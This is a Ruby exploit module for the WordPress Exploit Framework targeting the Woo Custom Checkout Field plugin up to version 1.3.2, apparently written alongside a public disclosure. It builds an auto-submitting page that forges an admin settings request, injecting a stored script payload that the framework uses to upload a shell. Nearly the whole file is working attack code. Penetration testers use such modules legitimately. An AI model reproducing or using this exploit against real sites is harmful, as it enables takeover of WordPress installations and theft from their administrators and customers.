# frozen_string_literal: true

class Wpxf::Exploit::WooCustomCheckoutFieldXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Woo Custom Checkout Field <= 1.3.2 XSS Shell Upload',
      author: [
        'rastating'  # Disclosure + WPXF module
      ],
      references: [
        ['WPVDB', '8567'],
        ['URL', 'http://blog.rastating.com/woo-custom-checkout-field-1-3-2-csrf-stored-xss-disclosure']
      ],
      date: 'Jul 23 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('woo-custom-checkout-field', 'readme.txt', '1.3.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=ccf_settings_menu', {
        txt_field_name: '#{Utility::Text.rand_alpha(5)}',
        txt_field_class: '<script>#{xss_include_script}<\\/script>',
        txt_field_placeholder: '#{Utility::Text.rand_alpha(5)}',
        txt_field_type: 'text',
        txt_field_options: '',
        add_field: ''
      });
    </script></body></html>
    |
  end
end
